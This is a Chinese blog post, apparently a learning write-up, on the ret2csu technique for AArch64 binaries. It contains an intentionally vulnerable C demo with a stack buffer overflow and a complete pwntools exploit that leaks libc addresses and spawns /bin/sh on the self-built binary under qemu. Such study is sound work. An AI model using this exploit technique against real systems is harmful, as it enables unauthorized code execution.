bpcat

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

ARM-ret2csu

很难为情的说一下emmm,,,今天因为要安装arm的交叉编译环境所以我含泪失去了亲爱的ubuntu20。承认是我操作笨拙导致我失去了自己最爱的虚拟机。(bgm响起,痛爱~

demo源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init(){
	setvbuf(stdout, 0LL, 2, 0LL);
	setvbuf(stdin, 0LL, 2, 0LL);
	setvbuf(stderr, 0LL, 2, 0LL);
}

void vul(){
	char buf[128];
	read(0, buf, 512);
}

int main(int argc, char** argv){
	init();
	write(1, "Hello, World\n", 13);
	vul();
}

分别用64位和32位arm来编译,首先对比一下arm下64位和32位下libc_csu_init函数的区别

64位:

image

32位:

image

这样一对比会发现在arm框架下32位的程序也是不可以使用ret2csu的,那么专心研究64位下的利用

我又看了mips框架下的对比,32位同样是不能够满足gadget条件

编译成酱紫

image

利用原理

ARM下的原理其实和x86下的相同,就是利用csu下的gadget进行间接传参,然后再调用目的函数造成任意函数调用。在x86_64的框架下,函数调用约定是从第一个到第六个参数,按顺序是在寄存器rdi、rsi、rdx,rcx,r8,r9,从第七个参数开始就从stack中按照先进后出的规律进行取参。在ARM框架下,函数调用约定传参,当参数少于4个参数的时候是通过寄存器r0-r3来传参,多于四个参数的时候就开始利用stack内传参。

由于arm的汇编对习惯x86汇编的人不太友好,所以我把他翻译成x86汇编来看

image

这里主要就是注意控制我们输入的内容与sp的关系。

需要动调看一下输入在栈内的位置

image

看到我们可以控制的是从sp+0x10开始的地址,那这样的话就可以分析传参的关系来进行参数的摆布

学艺不精,在真正动调的时候才发现sp不一样

image

那么就需要一直往下写覆盖到这里

这样的话payload就可以写出

pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['write']) + p64(1) + p64(elf.got['write']) + p64(0x8) + p64(0) +p64(0x0040076C)

并且成功leak了地址

image

那么就可以参考x86下的打法将system函数还有binsh写在bss端,然后利用payload模板进行利用

exp如下:

from pwn import *

context.log_level='debug'
context.arch='aarch64'

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

#p = process(["qemu-aarch64","-g", "1234","-L", "/usr/aarch64-linux-gnu/", "./csu_arm"])
p = process(["qemu-aarch64","-L", "/usr/aarch64-linux-gnu/", "./csu_arm"])
elf = ELF('./csu_arm')
libc = ELF('./libc-2.31.so')

pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['write']) + p64(1) + p64(elf.got['write']) + p64(0x8) + p64(0) +p64(0x0040076C)
p.sendlineafter('Hello, World\n',pl)
write_addr = uu64(r(6))
leak('write_addr',write_addr)
libcbase = write_addr - libc.sym['write']
leak('libcbase',libcbase)
system = libcbase + libc.sym['system']
leak('system',system)

pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(elf.got['read']) + p64(0) + p64(0x0411140) + p64(0x20) + p64(0) +p64(0x0040076C)
#pause()
p.sendlineafter('Hello, World\n',pl)
p.sendline(p64(system)+b'/bin/sh\x00')
pl = b'a'*0x88 + p64(0x0400810) + p64(0x0040076C) + p64(0x100000000) + p64(0) + p64(0x04007F0) +p64(0)+ p64(1) + p64(0x0411140) + p64(0x0411148) + p64(0) + p64(0) + p64(0) +p64(0x0040076C)
p.sendlineafter('Hello, World\n',pl)

p.interactive()

image

奏效

x86和arm的区别就是传参的不同,此题目也巩固一下自己对arm汇编的理解。

posted on 2022-11-10 20:33  大能猫_多能  阅读(88)  评论(0编辑  收藏  举报